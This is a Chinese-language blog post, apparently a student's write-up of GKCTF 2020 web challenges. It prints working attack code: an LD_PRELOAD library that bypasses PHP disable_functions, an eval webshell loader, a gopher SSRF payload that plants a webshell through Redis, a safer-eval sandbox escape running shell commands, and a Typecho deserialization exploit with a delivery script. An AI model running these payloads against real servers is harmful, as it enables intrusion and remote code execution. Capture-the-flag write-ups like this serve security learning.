3rsh1
/single dog/college student/ctfer
3rsh1's Blog

[GKCTF]wp

checkin

不想说做题历程了。
题目的重点是disable_function的绕过,之前整理过笔记,是基于安恒杯四月赛的web2的。首先贴出代码:

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public code = null;
        publicdecode = null;
        function __construct()
        {
                this->code = @this->x()['Ginkgo'];
                this->decode = @base64_decode(this->code );
                @Eval(this->decode);
        }

        public function x()
        {
                return_REQUEST;
        }
}
new ClassName();

逻辑很容易懂了,就是对get到的值做base64解码然后,eval执行解码之后的内容。这里试了下system等执行系统命令的函数发现过滤的很彻底。phpinfo内容如下。

https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_a018bd1aabb2f7d78f52733a066b526f.jpg

但是没有过滤putenv(),猜测是系统函数劫持来绕过disable_functions,这里用蚁剑连shell但是会报错,不知道为啥,然后构造如下payload连接:

http://e5adaee1-e188-4150-8e04-910cbac72358.node3.buuoj.cn/index.php?Ginkgo=JGNjMT0kX1BPU1RbJ2EnXTtldmFsKCRjYzEpOw==
post数据为:a=echo 123; //可执行

连接蚁剑之后发现根目录下有flag文件和readflag文件,但是flag文件的权限是0000,预测是执行readflag来获取flag,下载下来readflag之后发现是个elf可执行文件,发现许多师傅都是用的exp,无奈自己只能手打。
看有pwn爷爷分析的readflag文件有一句cat /flag,还有一句修改flag文件权限的代码。
于是上传要包含的编译的文件,编译文件的源码为:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("/readflag > /tmp/flag.txt");
}
int geteuid() 
{
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

payload:

a=putenv("LD_PRELOAD=/tmp/hack.so");mail('','','','');

最后读取/tmp目录下的flag.txt文件获得flag。

cve-签到

In PHP versions 7.2.x below 7.2.29, 7.3.x below 7.3.16 and 7.4.x below 7.4.4, while using get_headers() with user-supplied URL, if the URL contains zero (\0) character, the URL will be silently truncated at it. This may cause some software to make incorrect assumptions about the target of the get_headers() and possibly send some information to a wrong server.

大致的意思就是,版本7.2-7.2.29和7.3-7.3.16和7.4-7.4.4之间的php版本中,如果url中含有\0,网址字符串会自动进行截断,前面的url会被访问,后面的内容会被丢弃。在响应的header头里存在hints,

https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_7f82e8d30b5b8d32ada062a15cbf6070.jpg

所以嘞,直接构造如下的payload:

http://bbdcfce2-23e3-4bcb-8570-e9f937b45c0c.node3.buuoj.cn/index.php?url=http://127.0.0.123%00.ctfhub.com 

我一直以为是修改原本的host,没有想到是修改url字段值的host,orz。

老八小超市儿

考点不多,这里就不过多赘述了。首先是默认密码账号登录admin,然后上传含有shell的主题来getshell,最后是修改py脚本反弹shell。
因为之前自己没怎么整理过反弹脚本的笔记,这里就简单整理一下反弹脚本的笔记吧,没事弹着玩玩还是不错的。
反弹shell笔记。

ezweb

https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_75bda6af621f34c6a222850a729080ef.jpg

确实挺漂亮的,查看下源码,发现提示?secret。然后会返回本机的ip地址以及子网掩码等内容。
尝试在输入框内输入本机的ip地址:
https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_b855ad1794beb0c3feb696a162774780.jpg

推测可能是用的php的curl模块的内容,尝试读取本地文件,发现file,data等协议被过滤了。尝试如下payload:

file:/var/www/html/index.php

看了别的师傅的wp发现可以这样读取,然后试了一下windows下,只要地址前有一个/即可读取文件.大概是因为php的容错性吧。
发现可以回显源码:

<?php
function curl(url){ch = curl_init();
    curl_setopt(ch, CURLOPT_URL,url);
    curl_setopt(ch, CURLOPT_HEADER, 0);
    echo curl_exec(ch);
    curl_close(ch);
}

if(isset(_GET['submit'])){
        url =_GET['url'];
        //echo url."\n";
        if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is',url,match))
        {
            //var_dump(match);
            die('别这样');
        }
        curl(url);
}
if(isset(_GET['secret'])){
    system('ifconfig');
}
?>

内网探测一下,发现探测主机号为11的ip的时候会回显内容,让我们找端口服务。

21端口:FTP 文件传输服务
22端口:SSH 远程连接服务
23端口:TELNET 终端仿真服务
25端口:SMTP 简单邮件传输服务
53端口:DNS 域名解析服务
80端口:HTTP 超文本传输服务
443端口:HTTPS 加密的超文本传输服务

 

3306端口:MYSQL数据库端口
6379端口:Redis数据库端口
8080端口:TCP服务端默认端口
8888端口:Nginx服务器的端口
9200端口:Elasticsearch服务器端口
27017端口:mongoDB数据库默认端口
22122端口:fastdfs服务器默认端口

挨个试一下,发现6379端口有错误回显,貌似是没有认证服务的,可以看出是ssrf+redis的考点。
写shell,这里需要注意的是编码的问题:

gopher://173.200.11.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2441%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22cmd%22%5D%29%3Bphpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2410%0D%0Ashell1.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

上面的内容是curl传递的内容,而且里面很多url编码的字符串,这就需要我们在浏览器端传递的时候再进行一次url编码。若是不进行编码的话,服务器端接收到的将会是url解码之后的内容,那么curl传递的就不再是我们需要的内容了,故需要再进行一次url编码。然后访问写入的shell就可以了。写ssh公钥需要的权限不够。这道题目就先到这里。

eznode

直接贴出来代码和我的一些理解,刚接触nodejs还不是很会:

const express = require('express'); //大概是加载模块的意思
const bodyParser = require('body-parser');
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
const fs = require('fs');   //常变量,无法修改,只读

const app = express();//express 一个web应用框架


app.use(bodyParser.urlencoded({ extended: false }));    //引入中间件
app.use(bodyParser.json());
/*
body-parser是一个HTTP请求体解析中间件,使用这个模块可以解析JSON、Raw、文本、URL-encoded格式的请求体,Express
框架中就是使用这个模块做为请求体解析中间件。请求体解析后,解析值都会被放到req.body属性,内容为空时是一个{}空对象。
两行模块会处理application/x-www-form-urlencoded、application/json两种内容格式的请求体。
1. 返回一个仅解析json格式数据的中间件。这个方法支持任意Unicode编码的请求体,且支持gzip和deflate编码的数据压缩.
2. 返回一个处理urlencoded数据的中间件。这个方法默认使用UTF-8编码,且支持gzip和deflate编码的数据压缩。解析后,其后的所有的req.body中将会是一个键值对对象。
 */

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {   //这是一个拦截器 ,一般是这样的形式 app.use(’*’,(req,res,next) =>{ });
    if (req.path === '/eval') {
        let delay = 60 * 1000;
        console.log(delay);
        if (Number.isInteger(parseInt(req.query.delay))) {
            /*
            req.query,查询字符串解析出来的对象 username=zhangsan&password=123 { username:zhangsan },
            number.IsInteger 判断是不是整数
            parseInt,转换字符串为整数,如果字符串的第一个字符不能被转换为数字,那么 parseFloat() 会返回 NaN。
            这里的app.use 和 app.get 后面的回调函数 前者回调函数可以是路由对象 后者不可以。
             */
            delay = Math.max(delay, parseInt(req.query.delay));
        }
        const t = setTimeout(() => next(), delay);  //delay秒之后执行回调函数
        //() => next() 相当于 function(){return next()},应该就是delay秒之后执行next,next就是将执行权交给下一个中间件
        // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
        setTimeout(() => {
            clearTimeout(t); //用于结束settimeout 并且不执行回调函数,1000ms后取消上一个settimeout的执行
            console.log('timeout');
            try {
                res.send('Timeout!');
            } catch (e) {

            }
        }, 1000);
    } else {
        next(); //交给下一个中间件
    }
});

app.post('/eval', function (req, res) {
    let response = '';
    if (req.body.e) {
        try {
            response = saferEval(req.body.e);
        } catch (e) {
            response = 'Wrong Wrong Wrong!!!!';
        }
    }
    res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
    res.set('Content-Type', 'text/json;charset=utf-8');
    res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
    res.set('Content-Type', 'text/html;charset=utf-8');
    res.send(fs.readFileSync('./index.html'))
});

app.listen(80, '0.0.0.0', () => {
    console.log('Start listening')
});

当delay大于2147483647或小于1时,延迟将设置为1。非整数延迟被截断为整数,绕过settimeout 进入到下一个中间件函数内。即绕过执行safereval函数。

payload:?delay=1000000000000
e=(function(){const process = clearImmediate.constructor("return process;")(); return process.mainModule.require("child_process").execSync("cat /flag").toString()})()

这里的最后的一个()意思是函数立即执行的意思,若没有的话 仅是定义了函数,相关的代码逻辑还不是很会,搜不到相关知识,以后会再补充的。

在express这个框架中,我们提交的请求都首先会经过第一个app.use函数的处理,如果它处理完毕,并返回给客户端信息。如果此时还没有执行next()函数,那么后面其他中间件函数,如app.post(‘/eval’)就不会得到执行。

要利用saferEval,我们要访问路径/eval。我们传入的请求会先经过app.use函数的处理,它判断路径为/eval之后,就会设置一个60s的delay。同时还会把这个数和我们传入的delay做一个比较,取最大的数为delay,并传给setTimeout设置定时器。如果延时结束,就会执行next(),交给下一个中间件函数处理请求。但代码中又写了一个定时器,在延时1s后,取消之前设置的定时器,并返回给客户端处理结果。因为delay那个数比较大,看起来总是会被取消。这里是一个绕过:

对于setTimeout函数,当delay大于2147483647或小于1时,delay将会被设置为1。非整数的delay会被截断为整数。

我们传入delay=21474836477(只要比上面那个数大就行),这个值大于代码中的delay,取最大。之后,delay就会被setTimeout函数处理为1,1ms马上延时结束,执行next(),提交给下一个中间件函数app.post(‘/eval’)。app.post(‘/eval’)这个路由会对我们把请求中e的值传给safeEval处理,下来就针对safeEval进行沙箱逃逸。

参考链接:

https://github.com/commenthol/safer-eval/issues/10
https://guokeya.github.io/post/a45x0caHd/
https://www.bycsec.top/2020/05/24/GKCTF2020writeup/
https://crownz.run/2020/05/26/GKCTF2020/#EzNode

eztypecho

反序列化的漏洞。参考链接:

https://crownz.run/2020/05/26/GKCTF2020/#EzTypecho
https://www.freebuf.com/vuls/155753.html

拿到题目的时候是发现是typecho框架,这个框架的漏洞一般是在install.php文件内,上面的参考文章已经说的很清楚了。因为session_start()被注释掉了,所以没办法绕过if判断,但是可以用文件上传来启动一个session。

https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_8f0bc10ae4800a16dfac7b15852dd187.jpg

如果在上传文件的过程中,我们post一个与ini设置中的session.upload_progress.name同名的变量时,会在session内添加一组数据,索引时session.upload_progress.prefixsession.upload_progress.name连接起来的值,因为你post传值的时候通过php文件传值的,而当这个过程中有读session文件的操作的话,我们也就变相的绕过了session_start()
https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_b230ec51a26f20ddb628bc9c247b35a4.jpg

当我们开始写session的时候,内部会自动调用open和read函数,因此$_SESSION得已填充。

if(!isset(_SESSION)) { die('no, you can\'t unserialize it without session QAQ');}config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));  //1.获取反序列化点
Typecho_Cookie::delete('__typecho_config');
db = new Typecho_Db(config['adapter'], config['prefix']);db->addServer(config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set(db);
?>

发现反序列化函数,继续追踪get()函数。

https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_136e5a0609e23f843040afcb9717b32f.jpg

找到序列化的传递点和处理点之后,继续向下看代码是否有利用的地方。发现反序列化之后的内容最为Typecho_Db对象的一部分。

$db = new Typecho_Db($config['adapter'], $config['prefix']);

继续跟进:

https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_eaa5af1c8f8974aed0af895b8a3f1524.jpg

$adaptername是一个对象的话,因为有对象到字符串的转化会执行魔术方法__tostring(),继续找一下全局内有没有__tostring()函数,发现feed.php文件中有可利用的魔术方法。以下片段为方法内可利用的一部分:
https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_d6161be0fddbd5eefe2c0c433aca52f3.jpg

若是screenname变量未找到或者无法被利用的话,会自动调用__get()方法。继续跟踪可利用的__get()方法。
https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_80ada55c739fc847dde90b4cf3c86b78.jpg

https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_79585362969be6e5be26ecb3c4ac5c5e.jpg

https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_1ab8aa38ad9e37855fd2e0737494fbc7.jpg

发现可利用的call_user_func()函数。
简单梳理一下:
1. 先找到反序列化的地方,

$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
  1. 在Typecho_Cookie类的get函数内找到,序列化字符串的传入点。
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
  1. 分析反序列化函数之后的代码,寻找利用的地方。发现反序列化之后的值的一部分被传入到Typecho_Db类内用于db对象的初始化。
  2. 跟进Typecho_Db类的构造函数,发现变量和字符串的拼接,会自动执行魔术方法__tostring()函数。
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
  1. 发现feed.php内的__tostring()方法可以利用,若是未找到screenname变量或者变量不可用,则执行__get()魔术方法。
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
  1. 在request.php内发现可利用的魔术方法__get()。
return this->get(key);    //跟进get方法。
return this->_applyFilter(value); //跟进_applyfilter函数
call_user_func(filter,value);    //发现利用点。

exp:

<?php
class Typecho_Feed{
    //const RSS2 = 'RSS 2.0'; 
    private _type;
    private_items = array(); 
    public function __construct() {
        //不加就会出现database error500
        this->_type = 'RSS 2.0';item['author'] = new Typecho_Request(); 
        item['category'] = array(new Typecho_Request());this->_items[0] = item;
    } 
}
class Typecho_Request {
    private_params = array(); 
    private _filter = array();    function __construct(){this->_params["screenName"]="cat /flag";
    this->_filter[0]="system";    }
}a = array("adapter" => new Typecho_Feed(),"prefix" => "test"); 
echo base64_encode(serialize($a));
?>

python脚本:

# coding=UTF-8
import requests
url = 'http://f0fd0c33-6e59-44c8-ba02-1cdf98a32fd1.node3.buuoj.cn/install.php?finish=1'
files = {'file': 123}
headers={ #__typecho_config要用前面exp生成的payload替换
'cookie': 'PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJjYXQgL2ZsYWciO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6OToiY2F0IC9mbGFnIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX19fX19czo2OiJwcmVmaXgiO3M6NDoidGVzdCI7fQ==',
'Referer': 'http://f0fd0c33-6e59-44c8-ba02-1cdf98a32fd1.node3.buuoj.cn/install.php'
}
res=requests.post(url, files=files, headers=headers, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"})
print(res.text)

node-exe

wp都看不懂 ……js不怎么会,待我先学学

后记:
总算是ctf入门一点点了,做题的状态一直有点迷。做题总是没思路,而且状态也很轻浮。看来以后对于题目还是应该多加思考。
————20点15分 2020年6月1日

发表评论

textsms
account_circle
email

3rsh1's Blog

[GKCTF]wp
checkin 不想说做题历程了。 题目的重点是disable_function的绕过,之前整理过笔记,是基于安恒杯四月赛的web2的。首先贴出代码: <title>Check_In</title> <?php high…
扫描二维码继续阅读
2020-05-28